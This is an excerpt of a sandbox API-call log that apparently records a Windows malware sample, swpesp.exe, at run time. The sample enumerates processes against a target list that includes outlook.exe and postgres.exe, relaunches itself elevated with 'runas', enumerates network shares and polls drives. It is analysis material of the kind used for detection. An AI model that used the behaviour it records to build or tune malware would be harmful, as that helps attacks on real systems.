	[0277.538] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0277.538] lstrlenW (lpString="winlogon.exe") returned 12
	[0277.538] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0277.538] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0277.538] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0277.538] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0277.538] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0277.538] lstrlenW (lpString="services.exe") returned 12
	[0277.538] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0277.539] lstrlenW (lpString="lsass.exe") returned 9
	[0277.539] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0277.539] lstrlenW (lpString="lsm.exe") returned 7
	[0277.539] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0277.539] lstrlenW (lpString="svchost.exe") returned 11
	[0277.539] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0277.539] lstrlenW (lpString="svchost.exe") returned 11
	[0277.540] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0277.540] lstrlenW (lpString="svchost.exe") returned 11
	[0277.540] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0277.540] lstrlenW (lpString="svchost.exe") returned 11
	[0277.540] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0277.540] lstrlenW (lpString="svchost.exe") returned 11
	[0277.540] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0277.541] lstrlenW (lpString="audiodg.exe") returned 11
	[0277.541] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0277.541] lstrlenW (lpString="svchost.exe") returned 11
	[0277.541] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0277.541] lstrlenW (lpString="userinit.exe") returned 12
	[0277.541] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0277.541] lstrlenW (lpString="explorer.exe") returned 12
	[0277.542] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0277.542] lstrlenW (lpString="dwm.exe") returned 7
	[0277.542] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0277.542] lstrlenW (lpString="svchost.exe") returned 11
	[0277.542] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0277.542] lstrlenW (lpString="swpesp.exe") returned 10
	[0277.542] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0277.543] lstrlenW (lpString="spoolsv.exe") returned 11
	[0277.543] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0277.543] lstrlenW (lpString="taskhost.exe") returned 12
	[0277.543] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0277.543] lstrlenW (lpString="svchost.exe") returned 11
	[0277.543] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0277.543] lstrlenW (lpString="reader_sl.exe") returned 13
	[0277.543] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0277.544] lstrlenW (lpString="taskhost.exe") returned 12
	[0277.544] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1
	[0277.544] lstrlenW (lpString="drvinst.exe") returned 11
	[0277.544] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 0
	[0277.544] CloseHandle (hObject=0x384) returned 1
	[0277.544] Sleep (dwMilliseconds=0x1f4) 

Thread:
	id = 88
	os_tid = 0x5c8

	[0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f48c0
	[0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4fff88
	[0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f48f0
	[0245.528] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f48f0, Size=0x20) returned 0x4d9b78
	[0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f48f0
	[0245.528] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f48f0, Size=0x20) returned 0x4d9ba0
	[0245.529] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0245.529] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0245.529] Wow64DisableWow64FsRedirection (in: OldValue=0x228ff28 | out: OldValue=0x228ff28*=0x0) returned 1
	[0245.529] lstrlenW (lpString="kernel32.dll") returned 12
	[0245.529] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9b78 | out: hHeap=0x4a0000) returned 1
	[0245.529] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0245.529] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9ba0 | out: hHeap=0x4a0000) returned 1
	[0245.529] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4fff88, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\swpesp.exe" (normalized: "c:\\windows\\system32\\swpesp.exe")) returned 0x1e
	[0245.529] ShellExecuteExW (pExecInfo=0x228ff34*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Windows\\System32\\swpesp.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) 

Thread:
	id = 89
	os_tid = 0x5cc

	[0245.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4938
	[0245.545] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4938, Size=0x20) returned 0x4d9ba0
	[0245.545] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9ba0, Size=0x40) returned 0x4dabd0
	[0245.545] GetLogicalDrives () returned 0x4
	[0245.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x532fa8
	[0245.545] GetComputerNameW (in: lpBuffer=0x532fac, nSize=0x238ff6c | out: lpBuffer="XDUWTFONO", nSize=0x238ff6c) returned 1
	[0245.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1000) returned 0x510600
	[0245.545] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x238ff3c | out: lphEnum=0x238ff3c*=0x4da200) returned 0x0
	[0245.546] WNetEnumResourceW (in: hEnum=0x4da200, lpcCount=0x238ff38, lpBuffer=0x510600, lpBufferSize=0x238ff40 | out: lpcCount=0x238ff38, lpBuffer=0x510600, lpBufferSize=0x238ff40) returned 0x103
	[0245.546] WNetCloseEnum (hEnum=0x4da200) returned 0x0
	[0245.546] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x238ff3c | out: lphEnum=0x238ff3c*=0x512f60) returned 0x0
	[0248.680] WNetEnumResourceW (in: hEnum=0x512f60, lpcCount=0x238ff38, lpBuffer=0x510600, lpBufferSize=0x238ff40 | out: lpcCount=0x238ff38, lpBuffer=0x510600, lpBufferSize=0x238ff40) returned 0x0
	[0248.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1000) returned 0x5131a8
	[0248.680] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x510600, lphEnum=0x238ff10 | out: lphEnum=0x238ff10*=0x4da400) returned 0x0
	[0249.051] WNetEnumResourceW (in: hEnum=0x4da400, lpcCount=0x238ff0c, lpBuffer=0x5131a8, lpBufferSize=0x238ff14 | out: lpcCount=0x238ff0c, lpBuffer=0x5131a8, lpBufferSize=0x238ff14) returned 0x103
	[0249.051] WNetCloseEnum (hEnum=0x4da400) returned 0x0
	[0249.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1000) returned 0x3b000c0
	[0249.051] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x510620, lphEnum=0x238ff10 | out: lphEnum=0x238ff10*=0x0) returned 0x4c6
	[0249.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1000) returned 0x3b020c8
	[0249.128] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x510640, lphEnum=0x238ff10 | out: lphEnum=0x238ff10*=0x0) returned 0x4c6
	[0249.128] WNetEnumResourceW (in: hEnum=0x512f60, lpcCount=0x238ff38, lpBuffer=0x510600, lpBufferSize=0x238ff40 | out: lpcCount=0x238ff38, lpBuffer=0x510600, lpBufferSize=0x238ff40) returned 0x103
	[0249.128] WNetCloseEnum (hEnum=0x512f60) returned 0x0
	[0249.128] GetLogicalDrives () returned 0x4
	[0249.128] Sleep (dwMilliseconds=0x64) 
	[0249.337] GetLogicalDrives () returned 0x4
	[0249.337] Sleep (dwMilliseconds=0x64) 
	[0249.549] GetLogicalDrives () returned 0x4
	[0249.549] Sleep (dwMilliseconds=0x64) 
	[0249.875] GetLogicalDrives () returned 0x4
	[0249.875] Sleep (dwMilliseconds=0x64) 
	[0250.123] GetLogicalDrives () returned 0x4
	[0250.123] Sleep (dwMilliseconds=0x64) 
	[0250.297] GetLogicalDrives () returned 0x4
	[0250.297] Sleep (dwMilliseconds=0x64) 
	[0250.524] GetLogicalDrives () returned 0x4
	[0250.524] Sleep (dwMilliseconds=0x64) 
	[0250.853] GetLogicalDrives () returned 0x4
	[0250.853] Sleep (dwMilliseconds=0x64) 
	[0251.096] GetLogicalDrives () returned 0x4
	[0251.096] Sleep (dwMilliseconds=0x64) 
	[0251.341] GetLogicalDrives () returned 0x4
	[0251.341] Sleep (dwMilliseconds=0x64) 
	[0251.916] GetLogicalDrives () returned 0x4
	[0251.916] Sleep (dwMilliseconds=0x64) 
	[0252.244] GetLogicalDrives () returned 0x4
	[0252.249] Sleep (dwMilliseconds=0x64) 
	[0252.611] GetLogicalDrives () returned 0x4
	[0252.611] Sleep (dwMilliseconds=0x64) 
	[0252.750] GetLogicalDrives () returned 0x4
	[0252.750] Sleep (dwMilliseconds=0x64) 
	[0252.908] GetLogicalDrives () returned 0x4
	[0252.908] Sleep (dwMilliseconds=0x64) 
	[0253.045] GetLogicalDrives () returned 0x4
	[0253.045] Sleep (dwMilliseconds=0x64) 
	[0253.237] GetLogicalDrives () returned 0x4
	[0253.237] Sleep (dwMilliseconds=0x64) 
	[0253.349] GetLogicalDrives () returned 0x4
	[0253.349] Sleep (dwMilliseconds=0x64) 
	[0253.583] GetLogicalDrives () returned 0x4
	[0253.583] Sleep (dwMilliseconds=0x64) 
	[0253.790] GetLogicalDrives () returned 0x4
	[0253.790] Sleep (dwMilliseconds=0x64) 
	[0253.927] GetLogicalDrives () returned 0x4
	[0253.927] Sleep (dwMilliseconds=0x64) 
	[0254.340] GetLogicalDrives () returned 0x4
	[0254.340] Sleep (dwMilliseconds=0x64) 
	[0254.464] GetLogicalDrives () returned 0x4
	[0254.464] Sleep (dwMilliseconds=0x64) 
	[0254.625] GetLogicalDrives () returned 0x4
	[0254.625] Sleep (dwMilliseconds=0x64) 
	[0254.970] GetLogicalDrives () returned 0x4
	[0254.970] Sleep (dwMilliseconds=0x64) 
	[0255.518] GetLogicalDrives () returned 0x4
	[0255.518] Sleep (dwMilliseconds=0x64) 
	[0255.744] GetLogicalDrives () returned 0x4
	[0255.745] Sleep (dwMilliseconds=0x64) 
	[0255.965] GetLogicalDrives () returned 0x4
	[0255.965] Sleep (dwMilliseconds=0x64) 
	[0256.096] GetLogicalDrives () returned 0x4
	[0256.096] Sleep (dwMilliseconds=0x64) 
	[0256.662] GetLogicalDrives () returned 0x4
	[0256.662] Sleep (dwMilliseconds=0x64) 
	[0256.784] GetLogicalDrives () returned 0x4
	[0256.784] Sleep (dwMilliseconds=0x64) 
	[0257.183] GetLogicalDrives () returned 0x4
	[0257.183] Sleep (dwMilliseconds=0x64) 
	[0257.556] GetLogicalDrives () returned 0x4
	[0257.556] Sleep (dwMilliseconds=0x64) 
	[0257.739] GetLogicalDrives () returned 0x4
	[0257.739] Sleep (dwMilliseconds=0x64) 
	[0258.100] GetLogicalDrives () returned 0x4
	[0258.100] Sleep (dwMilliseconds=0x64) 
	[0258.260] GetLogicalDrives () returned 0x4
	[0258.260] Sleep (dwMilliseconds=0x64) 
	[0258.453] GetLogicalDrives () returned 0x4
	[0258.453] Sleep (dwMilliseconds=0x64) 
	[0258.650] GetLogicalDrives () returned 0x4
	[0258.650] Sleep (dwMilliseconds=0x64) 
	[0259.396] GetLogicalDrives () returned 0x4
	[0259.396] Sleep (dwMilliseconds=0x64) 
	[0259.774] GetLogicalDrives () returned 0x4
	[0259.781] Sleep (dwMilliseconds=0x64) 
	[0259.914] GetLogicalDrives () returned 0x4
	[0259.914] Sleep (dwMilliseconds=0x64) 
	[0260.170] GetLogicalDrives () returned 0x4
	[0260.170] Sleep (dwMilliseconds=0x64) 
	[0260.381] GetLogicalDrives () returned 0x4
	[0260.381] Sleep (dwMilliseconds=0x64) 
	[0260.734] GetLogicalDrives () returned 0x4
	[0260.734] Sleep (dwMilliseconds=0x64) 
	[0261.273] GetLogicalDrives () returned 0x4
	[0261.273] Sleep (dwMilliseconds=0x64) 
	[0261.563] GetLogicalDrives () returned 0x4
	[0261.564] Sleep (dwMilliseconds=0x64) 
	[0261.770] GetLogicalDrives () returned 0x4
	[0261.770] Sleep (dwMilliseconds=0x64) 
	[0261.975] GetLogicalDrives () returned 0x4
	[0261.975] Sleep (dwMilliseconds=0x64) 
	[0262.351] GetLogicalDrives () returned 0x4
	[0262.351] Sleep (dwMilliseconds=0x64) 
	[0262.628] GetLogicalDrives () returned 0x4
	[0262.628] Sleep (dwMilliseconds=0x64) 
	[0262.899] GetLogicalDrives () returned 0x4
	[0262.899] Sleep (dwMilliseconds=0x64) 
	[0263.319] GetLogicalDrives () returned 0x4
	[0263.320] Sleep (dwMilliseconds=0x64) 
	[0263.812] GetLogicalDrives () returned 0x4
	[0263.812] Sleep (dwMilliseconds=0x64) 
	[0263.935] GetLogicalDrives () returned 0x4
	[0263.935] Sleep (dwMilliseconds=0x64) 
	[0264.221] GetLogicalDrives () returned 0x4
	[0264.221] Sleep (dwMilliseconds=0x64) 
	[0264.368] GetLogicalDrives () returned 0x4
	[0264.368] Sleep (dwMilliseconds=0x64) 
	[0264.565] GetLogicalDrives () returned 0x4
	[0264.565] Sleep (dwMilliseconds=0x64) 
	[0264.762] GetLogicalDrives () returned 0x4
	[0264.762] Sleep (dwMilliseconds=0x64) 
	[0265.046] GetLogicalDrives () returned 0x4
	[0265.046] Sleep (dwMilliseconds=0x64) 
	[0265.253] GetLogicalDrives () returned 0x4
	[0265.253] Sleep (dwMilliseconds=0x64) 
	[0265.432] GetLogicalDrives () returned 0x4
	[0265.432] Sleep (dwMilliseconds=0x64) 
	[0265.886] GetLogicalDrives () returned 0x4
	[0265.886] Sleep (dwMilliseconds=0x64) 
	[0266.409] GetLogicalDrives () returned 0x4
	[0266.409] Sleep (dwMilliseconds=0x64) 
	[0266.816] GetLogicalDrives () returned 0x4
	[0266.816] Sleep (dwMilliseconds=0x64) 
	[0267.635] GetLogicalDrives () returned 0x4
	[0267.635] Sleep (dwMilliseconds=0x64) 
	[0268.028] GetLogicalDrives () returned 0x4
	[0268.028] Sleep (dwMilliseconds=0x64) 
	[0268.413] GetLogicalDrives () returned 0x4
	[0268.413] Sleep (dwMilliseconds=0x64) 
	[0268.668] GetLogicalDrives () returned 0x4
	[0268.668] Sleep (dwMilliseconds=0x64) 
	[0269.241] GetLogicalDrives () returned 0x4
	[0269.241] Sleep (dwMilliseconds=0x64) 
	[0269.478] GetLogicalDrives () returned 0x4
	[0269.478] Sleep (dwMilliseconds=0x64) 
	[0269.932] GetLogicalDrives () returned 0x4
	[0269.932] Sleep (dwMilliseconds=0x64) 
	[0270.242] GetLogicalDrives () returned 0x4
	[0270.242] Sleep (dwMilliseconds=0x64) 
	[0270.901] GetLogicalDrives () returned 0x4
	[0270.902] Sleep (dwMilliseconds=0x64) 
	[0271.100] GetLogicalDrives () returned 0x4
	[0271.100] Sleep (dwMilliseconds=0x64) 
	[0271.526] GetLogicalDrives () returned 0x4
	[0271.526] Sleep (dwMilliseconds=0x64) 
	[0271.749] GetLogicalDrives () returned 0x4
	[0271.749] Sleep (dwMilliseconds=0x64) 
	[0271.961] GetLogicalDrives () returned 0x4
	[0271.961] Sleep (dwMilliseconds=0x64) 
	[0272.332] GetLogicalDrives () returned 0x4
	[0272.332] Sleep (dwMilliseconds=0x64) 
	[0272.716] GetLogicalDrives () returned 0x4
	[0272.718] Sleep (dwMilliseconds=0x64) 
	[0273.132] GetLogicalDrives () returned 0x4
	[0273.132] Sleep (dwMilliseconds=0x64) 
	[0273.705] GetLogicalDrives () returned 0x4
	[0273.705] Sleep (dwMilliseconds=0x64) 
	[0273.823] GetLogicalDrives () returned 0x4
	[0273.823] Sleep (dwMilliseconds=0x64) 
	[0274.087] GetLogicalDrives () returned 0x4
	[0274.087] Sleep (dwMilliseconds=0x64) 
	[0274.401] GetLogicalDrives () returned 0x4
	[0274.401] Sleep (dwMilliseconds=0x64) 
	[0274.656] GetLogicalDrives () returned 0x4
	[0274.656] Sleep (dwMilliseconds=0x64) 
	[0274.971] GetLogicalDrives () returned 0x4
	[0274.971] Sleep (dwMilliseconds=0x64) 
	[0275.233] GetLogicalDrives () returned 0x4
	[0275.233] Sleep (dwMilliseconds=0x64) 
	[0275.680] GetLogicalDrives () returned 0x4
	[0275.680] Sleep (dwMilliseconds=0x64) 
	[0275.979] GetLogicalDrives () returned 0x4
	[0275.979] Sleep (dwMilliseconds=0x64) 
	[0276.766] GetLogicalDrives () returned 0x4
	[0276.766] Sleep (dwMilliseconds=0x64) 
	[0277.012] GetLogicalDrives () returned 0x4
	[0277.012] Sleep (dwMilliseconds=0x64) 
	[0277.268] GetLogicalDrives () returned 0x4
	[0277.269] Sleep (dwMilliseconds=0x64) 
	[0277.409] GetLogicalDrives () returned 0x4
	[0277.409] Sleep (dwMilliseconds=0x64) 
	[0277.722] GetLogicalDrives () returned 0x4
	[0277.722] Sleep (dwMilliseconds=0x64) 
	[0277.970] GetLogicalDrives () returned 0x4
	[0277.970] Sleep (dwMilliseconds=0x64) 

Thread:
	id = 90
	os_tid = 0x5d0

	[0248.206] GetTickCount () returned 0x8075
	[0248.206] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x24) returned 0x5118a8
	[0248.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5118a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134
	[0248.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5118a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138
	[0248.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5118a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124
	[0248.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5118a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c
	[0248.442] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4aa0
	[0248.442] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4aa0, Size=0x20) returned 0x4d9c90
	[0248.442] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4aa0
	[0248.442] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4aa0, Size=0x20) returned 0x4d9cb8
	[0248.442] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0248.551] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0248.551] Wow64DisableWow64FsRedirection (in: OldValue=0x248ff84 | out: OldValue=0x248ff84*=0x0) returned 1
	[0248.552] lstrlenW (lpString="kernel32.dll") returned 12
	[0248.552] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9c90 | out: hHeap=0x4a0000) returned 1
	[0248.552] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0248.552] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9cb8 | out: hHeap=0x4a0000) returned 1
	[0248.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x4deb58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160
	[0248.661] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0249.064] GetTickCount () returned 0x82f4
	[0249.064] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0249.267] GetTickCount () returned 0x83bf
	[0249.267] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0249.513] GetTickCount () returned 0x84b9
	[0249.513] GetTickCount () returned 0x84b9
	[0249.513] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0249.830] GetTickCount () returned 0x85e1
	[0249.830] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0250.123] GetTickCount () returned 0x8709
	[0250.123] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0250.297] GetTickCount () returned 0x87b5
	[0250.297] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0250.523] GetTickCount () returned 0x889f
	[0250.523] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0250.852] GetTickCount () returned 0x89e7
	[0250.852] GetTickCount () returned 0x89e7
	[0250.853] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0251.096] GetTickCount () returned 0x8ae0
	[0251.096] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0251.341] GetTickCount () returned 0x8bca
	[0251.341] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0251.916] GetTickCount () returned 0x8e0b
	[0251.916] GetTickCount () returned 0x8e0b
	[0251.916] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0252.228] GetTickCount () returned 0x8f43
	[0252.233] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0252.610] GetTickCount () returned 0x90aa
	[0252.611] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
